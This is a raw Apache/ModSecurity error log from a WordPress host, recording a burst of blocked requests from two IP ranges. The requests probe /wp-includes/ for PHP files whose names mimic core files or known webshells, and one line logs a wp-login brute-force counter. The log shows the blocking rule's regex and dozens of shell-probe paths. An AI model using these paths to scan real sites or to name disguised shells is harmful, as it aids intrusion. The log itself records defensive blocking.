[Sat Feb 28 22:15:45.077788 2026] [:error] [pid 49763:tid 49786] [client 185.82.72.206:32409] [client 185.82.72.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aaL4kbTHSOG_yf2PpqG7GAAAAdQ"]
[Sat Feb 28 22:15:51.151908 2026] [:error] [pid 39183:tid 39198] [client 45.86.200.221:61365] [client 45.86.200.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aaL4lxCf4HvhVePw3LaAwQAAAAY"]
[Sat Feb 28 22:15:55.722337 2026] [proxy_fcgi:error] [pid 52460:tid 52480] [client 45.86.200.215:39613] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:15:56.098780 2026] [:error] [pid 52460:tid 52482] [client 45.86.200.215:39613] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aaL4nLLWOogAgHGh62SzywAAAZM"]
[Sat Feb 28 22:15:59.057159 2026] [:error] [pid 52460:tid 52468] [client 45.86.200.227:40849] [client 45.86.200.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/db.php"] [unique_id "aaL4n7LWOogAgHGh62Sz2wAAAYU"]
[Sat Feb 28 22:15:59.777575 2026] [:error] [pid 22194:tid 22197] [client 45.86.200.227:44781] [client 45.86.200.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aaL4n36mbajs3bzQGyuyTQAAAUE"]
[Sat Feb 28 22:16:00.449583 2026] [:error] [pid 39292:tid 39316] [client 45.86.200.246:33261] [client 45.86.200.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaL4oKIAO5fN7BxyqcGTlQAAANY"]
[Sat Feb 28 22:16:01.097797 2026] [:error] [pid 49763:tid 49768] [client 45.86.200.231:55677] [client 45.86.200.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aaL4obTHSOG_yf2PpqG7bwAAAcI"]
[Sat Feb 28 22:16:01.792969 2026] [:error] [pid 11791:tid 11796] [client 45.86.200.238:65339] [client 45.86.200.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aaL4oWuX5e1Q32gqxH3WWAAAAQM"]
[Sat Feb 28 22:16:02.384983 2026] [:error] [pid 39184:tid 39233] [client 45.86.200.222:49733] [client 45.86.200.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aaL4oltZF9Zd_U7easDhggAAAE4"]
[Sat Feb 28 22:16:06.882890 2026] [:error] [pid 39184:tid 39234] [client 45.86.200.232:35127] [client 45.86.200.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aaL4pltZF9Zd_U7easDhiwAAAE8"]
[Sat Feb 28 22:16:07.466205 2026] [:error] [pid 39184:tid 39221] [client 45.86.200.228:41919] [client 45.86.200.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aaL4p1tZF9Zd_U7easDhjwAAAEI"]
[Sat Feb 28 22:16:08.045962 2026] [:error] [pid 49763:tid 49771] [client 45.86.200.230:45317] [client 45.86.200.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aaL4qLTHSOG_yf2PpqG7iAAAAcU"]
[Sat Feb 28 22:16:10.031563 2026] [:error] [pid 49763:tid 49768] [client 45.86.200.238:28225] [client 45.86.200.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aaL4qrTHSOG_yf2PpqG7jwAAAcI"]
[Sat Feb 28 22:16:14.422031 2026] [:error] [pid 52460:tid 52477] [client 45.86.200.213:35627] [client 45.86.200.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/options.php"] [unique_id "aaL4rrLWOogAgHGh62Sz9QAAAY4"]
[Sat Feb 28 22:16:15.025836 2026] [proxy_fcgi:error] [pid 49763:tid 49784] [client 45.86.200.221:58859] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:16:22.929301 2026] [:error] [pid 49763:tid 49778] [client 45.86.200.221:58859] [client 45.86.200.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaL4trTHSOG_yf2PpqG7zwAAAcw"]
[Sat Feb 28 22:16:32.527503 2026] [:error] [pid 49763:tid 49774] [client 45.86.200.221:58859] [client 45.86.200.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aaL4wLTHSOG_yf2PpqG7-gAAAcg"]
[Sat Feb 28 22:16:33.114871 2026] [:error] [pid 52460:tid 52477] [client 45.86.200.234:48237] [client 45.86.200.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aaL4wbLWOogAgHGh62S0BAAAAY4"]
[Sat Feb 28 22:17:01.956060 2026] [:error] [pid 11791:tid 11800] [client 45.86.200.224:49489] [client 45.86.200.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaL43WuX5e1Q32gqxH3WmgAAAQc"]
[Sat Feb 28 22:17:02.775346 2026] [:error] [pid 39292:tid 39301] [client 45.86.200.225:31933] [client 45.86.200.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aaL43qIAO5fN7BxyqcGTyAAAAMc"]
[Sat Feb 28 22:17:03.579699 2026] [:error] [pid 52460:tid 52472] [client 185.82.72.9:40127] [client 185.82.72.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aaL437LWOogAgHGh62S0OAAAAYk"]
[Sat Feb 28 22:17:14.712459 2026] [:error] [pid 39183:tid 39211] [client 45.86.200.247:48483] [client 45.86.200.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aaL46hCf4HvhVePw3LaBogAAABM"]
[Sat Feb 28 22:17:15.304601 2026] [:error] [pid 52460:tid 52463] [client 185.82.72.104:34835] [client 185.82.72.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aaL467LWOogAgHGh62S0TQAAAYA"]
[Sat Feb 28 22:17:16.949923 2026] [:error] [pid 39183:tid 39203] [client 185.82.72.104:33849] [client 185.82.72.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aaL47BCf4HvhVePw3LaBqwAAAAs"]
[Sat Feb 28 22:17:24.157048 2026] [:error] [pid 39183:tid 39207] [client 45.86.200.242:34955] [client 45.86.200.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aaL49BCf4HvhVePw3LaB1QAAAA8"]
[Sat Feb 28 22:17:26.896077 2026] [:error] [pid 49763:tid 49770] [client 185.82.72.9:34069] [client 185.82.72.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aaL49rTHSOG_yf2PpqG9CgAAAcQ"]
[Sat Feb 28 22:17:31.762973 2026] [:error] [pid 39183:tid 39199] [client 185.82.72.111:44145] [client 185.82.72.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aaL4-xCf4HvhVePw3LaB-QAAAAc"]
[Sat Feb 28 22:17:51.027104 2026] [:error] [pid 49763:tid 49782] [client 45.86.200.237:20757] [client 45.86.200.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/index.php"] [unique_id "aaL5D7THSOG_yf2PpqG9WgAAAdA"]
[Sat Feb 28 22:17:55.462493 2026] [:error] [pid 39185:tid 39256] [client 185.82.72.179:61239] [client 185.82.72.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/about.php"] [unique_id "aaL5ExVE-FfM89u7BQawBAAAAIo"]
[Sat Feb 28 22:18:06.333852 2026] [:error] [pid 39184:tid 39242] [client 185.82.72.10:39049] [client 185.82.72.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-sup.php"] [unique_id "aaL5HltZF9Zd_U7easDiFwAAAFc"]
[Sat Feb 28 22:18:10.970237 2026] [:error] [pid 49763:tid 49770] [client 45.86.200.222:49819] [client 45.86.200.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aaL5IrTHSOG_yf2PpqG95wAAAcQ"]
[Sat Feb 28 22:18:19.006618 2026] [:error] [pid 39183:tid 39211] [client 45.86.200.241:46947] [client 45.86.200.241] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aaL5KxCf4HvhVePw3LaCUwAAABM"]
[Sat Feb 28 22:18:28.491145 2026] [:error] [pid 49763:tid 49786] [client 185.82.72.111:57189] [client 185.82.72.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aaL5NLTHSOG_yf2PpqG-RAAAAdQ"]
[Sat Feb 28 22:18:33.049211 2026] [:error] [pid 39184:tid 39241] [client 45.86.200.213:34061] [client 45.86.200.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aaL5OVtZF9Zd_U7easDiQAAAAFY"]
[Sat Feb 28 22:18:33.661217 2026] [:error] [pid 52460:tid 52466] [client 45.86.200.227:55809] [client 45.86.200.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aaL5ObLWOogAgHGh62S05wAAAYM"]
[Sat Feb 28 22:18:43.433685 2026] [:error] [pid 39183:tid 39200] [client 45.86.200.237:51525] [client 45.86.200.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aaL5QxCf4HvhVePw3LaCxAAAAAg"]
[Sat Feb 28 22:18:53.956805 2026] [:error] [pid 39183:tid 39211] [client 45.86.200.247:46595] [client 45.86.200.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aaL5TRCf4HvhVePw3LaC8gAAABM"]
[Sat Feb 28 22:19:02.197338 2026] [:error] [pid 49763:tid 49772] [client 45.86.200.239:46015] [client 45.86.200.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaL5VrTHSOG_yf2PpqG_qAAAAcY"]
[Sat Feb 28 22:19:02.830513 2026] [:error] [pid 49763:tid 49790] [client 45.86.200.221:23699] [client 45.86.200.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aaL5VrTHSOG_yf2PpqG_rgAAAdg"]
[Sat Feb 28 22:19:07.876821 2026] [:error] [pid 39184:tid 39225] [client 45.86.200.234:61977] [client 45.86.200.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aaL5W1tZF9Zd_U7easDicQAAAEY"]
[Sat Feb 28 22:19:13.763162 2026] [:error] [pid 52460:tid 52468] [client 45.86.200.225:20511] [client 45.86.200.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/install.php"] [unique_id "aaL5YbLWOogAgHGh62S1cwAAAYU"]
[Sat Feb 28 22:19:14.478861 2026] [:error] [pid 49763:tid 49780] [client 45.86.200.241:59667] [client 45.86.200.241] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aaL5YrTHSOG_yf2PpqG_7gAAAc4"]
[Sat Feb 28 22:19:25.996962 2026] [:error] [pid 49763:tid 49779] [client 45.86.200.215:33753] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/category-double.php"] [unique_id "aaL5bbTHSOG_yf2PpqHAXQAAAc0"]
[Sat Feb 28 22:19:30.527462 2026] [:error] [pid 39183:tid 39205] [client 45.86.200.233:25321] [client 45.86.200.233] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/db.php"] [unique_id "aaL5chCf4HvhVePw3LaDSgAAAA0"]
[Sat Feb 28 22:19:31.249467 2026] [:error] [pid 49763:tid 49766] [client 45.86.200.241:58527] [client 45.86.200.241] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/security.php"] [unique_id "aaL5c7THSOG_yf2PpqHAkQAAAcA"]
[Sat Feb 28 22:19:35.615973 2026] [:error] [pid 49763:tid 49782] [client 45.86.200.217:22955] [client 45.86.200.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aaL5d7THSOG_yf2PpqHAvAAAAdA"]
[Sat Feb 28 22:19:38.435935 2026] [:error] [pid 39183:tid 39192] [client 45.86.200.227:44307] [client 45.86.200.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aaL5ehCf4HvhVePw3LaDUgAAAAA"]
[Sat Feb 28 22:19:47.606359 2026] [:error] [pid 49763:tid 49789] [client 45.86.200.236:43455] [client 45.86.200.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aaL5g7THSOG_yf2PpqHBKQAAAdc"]
[Sat Feb 28 22:19:51.911485 2026] [:error] [pid 52460:tid 52483] [client 45.86.200.218:38179] [client 45.86.200.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aaL5h7LWOogAgHGh62S16wAAAZQ"]
[Sat Feb 28 22:19:56.741447 2026] [:error] [pid 39185:tid 39264] [client 45.86.200.239:56599] [client 45.86.200.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aaL5jBVE-FfM89u7BQawawAAAJI"]
[Sat Feb 28 22:19:59.485307 2026] [:error] [pid 52460:tid 52485] [client 45.86.200.237:63877] [client 45.86.200.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/as.php"] [unique_id "aaL5j7LWOogAgHGh62S1-gAAAZY"]
[Sat Feb 28 22:20:02.217884 2026] [:error] [pid 39185:tid 39266] [client 45.86.200.250:25493] [client 45.86.200.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aaL5khVE-FfM89u7BQawegAAAJQ"]
